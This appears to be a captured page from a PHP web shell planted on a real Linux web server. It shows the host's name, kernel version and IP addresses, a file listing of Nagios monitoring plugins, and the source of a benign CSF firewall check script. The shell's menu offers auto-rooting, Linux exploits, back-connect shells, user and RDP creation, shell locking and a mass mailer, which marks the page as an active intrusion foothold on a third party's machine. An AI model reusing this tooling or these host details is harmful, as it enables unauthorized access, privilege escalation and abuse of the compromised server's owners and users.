Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
nagios /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
check-vps-cxs-log.ini
214
B
-rwxr-xr-x
check-vps-cxs-log.sh
4.22
KB
-rwxr-xr-x
check_3ware-raid.pl
10.93
KB
-rwxr-xr-x
check_aacraid.py
4.62
KB
-rwxr-xr-x
check_cl_license
783
B
-rwxr-xr-x
check_cplicense
268
B
-rwxr-xr-x
check_csf
3.33
KB
-rwxr-xr-x
check_eximq
3.16
KB
-rwxr-xr-x
check_if_ips.py
3.88
KB
-rwxr-xr-x
check_mdadm
769
B
-rwxr-xr-x
check_megaraid_sas
6.98
KB
-rwxr-xr-x
check_mem.pl
12.85
KB
-rwxr-xr-x
check_newbackup
6.97
KB
-rwxr-xr-x
check_puppet
4.35
KB
-rwxr-xr-x
check_ro_fs.sh
530
B
-rwxr-xr-x
check_spamd
6.74
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : check_csf
#!/usr/bin/env python ##################################### # this file is under Puppet control # # the last change: # # 2014/04/23, Eduard N. # ##################################### """Nagios plugin to check the csf status and updates.""" __title__ = 'check_csf' __version__ = '''2014/04/23, 1.2, special version for NC, Eduard N.''' ''' Please pay attention that it's necessary to add following access to sudoers file(s) /usr/sbin/csf -c /usr/sbin/csf -g "special_IP" ''' debug = 0 special_IP = '162.255.118.131' # IP of pmc3 CSF = '/usr/sbin/csf' SUDO = '/usr/bin/sudo' OK = 0 WARNING = 1 CRITICAL = 2 UNKNOWN = 3 import os, re, sys def end(status, message, perfdata=""): """Exits the plugin with first arg as the return code and the second arg as the message to output.""" if perfdata: print ("%s | %s" % (message, perfdata)) else: print ("%s" % message) if status == OK: sys.exit(OK) elif status == WARNING: sys.exit(WARNING) elif status == CRITICAL: sys.exit(CRITICAL) else: sys.exit(UNKNOWN) try: from subprocess import Popen, PIPE, STDOUT except ImportError: end(WARNING, 'This script should be run under Python version more than 2.3') def check_csf_usable(): """Checks that the CSF program and path are correct and usable - that the program exists and is executable, otherwise exits with error.""" if not os.path.exists(CSF): end(UNKNOWN, "%s cannot be found" % CSF) elif not os.path.isfile(CSF): end(UNKNOWN, "%s is not a file" % CSF) elif not os.access(CSF, os.X_OK): end(UNKNOWN, "%s is not executable" % CSF) def check_programm_usable(programm, access = True): """Checks that the SUDO program and path are correct and usable - that the program exists and is executable, otherwise exits with error.""" if not os.path.exists(programm): end(UNKNOWN, "%s cannot be found" % programm) elif not os.path.isfile(programm): end(UNKNOWN, "%s is not a file" % programm) elif access and not os.access(programm, os.X_OK): end(UNKNOWN, "%s is not executable" % programm) check_programm_usable(SUDO) check_programm_usable(CSF, False) # check of current state of csf re_status_disabled = re.compile('csf and lfd have been disabled') re_status_checkIP = re.compile('^\w*\s*\d*\s*\d*\s*\d*.*\s*ACCEPT|ALLOW\s*\w*\s*.*'+special_IP+'\s*',re.M) cmd = SUDO + ' ' + CSF + ' -g ' + special_IP process = Popen(cmd.split(), stdout=PIPE, stderr=STDOUT ) output = process.communicate() returncode = process.returncode stdout = output[0].decode('utf-8') if debug: print (cmd, stdout) if re.match(re_status_disabled, stdout): end(CRITICAL, stdout) elif re.search(re_status_checkIP, stdout): pass else: end(WARNING, stdout) # check new updates re_update_latest = re.compile('csf is already at the latest version') re_update_not_latest = re.compile('A newer version of csf is available') cmd = SUDO + ' ' + CSF + ' -c' process = Popen(cmd.split(), stdout=PIPE, stderr=STDOUT) output = process.communicate() returncode = process.returncode stdout = output[0].decode('utf-8') if debug: print (cmd, stdout) if re.match(re_update_not_latest, stdout): end(WARNING, stdout) elif re.match(re_update_latest, stdout): end(OK, stdout) else: end(WARNING, stdout)
Close